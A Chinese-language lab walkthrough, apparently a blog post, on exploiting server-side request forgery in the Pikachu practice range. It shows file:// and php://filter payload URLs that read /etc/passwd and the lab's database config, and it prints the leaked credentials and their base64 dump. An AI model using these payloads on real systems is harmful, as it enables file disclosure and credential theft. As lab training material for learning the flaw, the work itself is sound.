SSRF3 任意文件读取
一.任意文件读取
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
读取文件使用 file://+文件路径即可,这里我们换协议为file,然后从根目录开始读取。
/etc/passwd
我们这样修改完url路径后查看结果可以看到文件内容在页面上回显了:
下面我们来读取一下靶场的敏感文件如/var/www/html/pikachu-master/inc/config.inc.php,
这个文件里面有啥我就不说了,之前我们配置靶场的时候在里面修改了一些东西:
可以看到只回显了一个1,php代码没有出现在我们的页面上,难道不能读取php代码吗?
其实不然,我们右键1点击查看,
代码在开发者模式里面显示,这里不显示在页面只是被浏览器注释掉了,这可能是浏览器的某些防
护措施吧,防止后端代码不被泄露。
<!--?php
//全局session_start
session_start();
//全局居设置时区
date_default_timezone_set('Asia/Shanghai');
//全局设置默认字符
header('Content-type:text/html;charset=utf-8');
//定义数据库连接参数
define('DBHOST', '127.0.0.1');//将localhost或者127.0.0.1修改为数据库服务器的地址
define('DBUSER', 'root');//将root修改为连接mysql的用户名
define('DBPW', '123456');//将root修改为连接mysql的密码,如果改了还是连接不上,请先手动连接下你的数据库,确保数据库服务没问题在说!
define('DBNAME', 'pikachu');//自定义,建议不修改
define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306
?-->
这样靶场的敏感配置文件就被读取出来了,但其实我们还可以别的利用协议进行读取:
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-
encode/resource=/var/www/html/pikachu-master/inc/config.inc.php
如上这里利用filter读取协议读取根目录下的敏感配置文件进行base64位编码,然后读取到页面
上。
我们可以看到很长,我们双击复制下来:
PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJzEyMzQ1NicpOy8v5bCGcm9vdOS/ruaUueS4uui/nuaOpW15c3Fs55qE5a+G56CB77yM5aaC5p6c5pS55LqG6L+Y5piv6L+e5o6l5LiN5LiK77yM6K+35YWI5omL5Yqo6L+e5o6l5LiL5L2g55qE5pWw5o2u5bqT77yM56Gu5L+d5pWw5o2u5bqT5pyN5Yqh5rKh6Zeu6aKY5Zyo6K+077yBCmRlZmluZSgnREJOQU1FJywgJ3Bpa2FjaHUnKTsvL+iHquWumuS5ie+8jOW7uuiuruS4jeS/ruaUuQpkZWZpbmUoJ0RCUE9SVCcsICczMzA2Jyk7Ly/lsIYzMzA25L+u5pS55Li6bXlzcWznmoTov57mjqXnq6/lj6PvvIzpu5jorqR0Y3AzMzA2Cgo/Pgo=
利用bp进行base64解码:
这里我发现乱码的,算了还是在kali里面解码吧:
然后结果就出来了。
你也可以利用在线解码:https://base64.us/网站。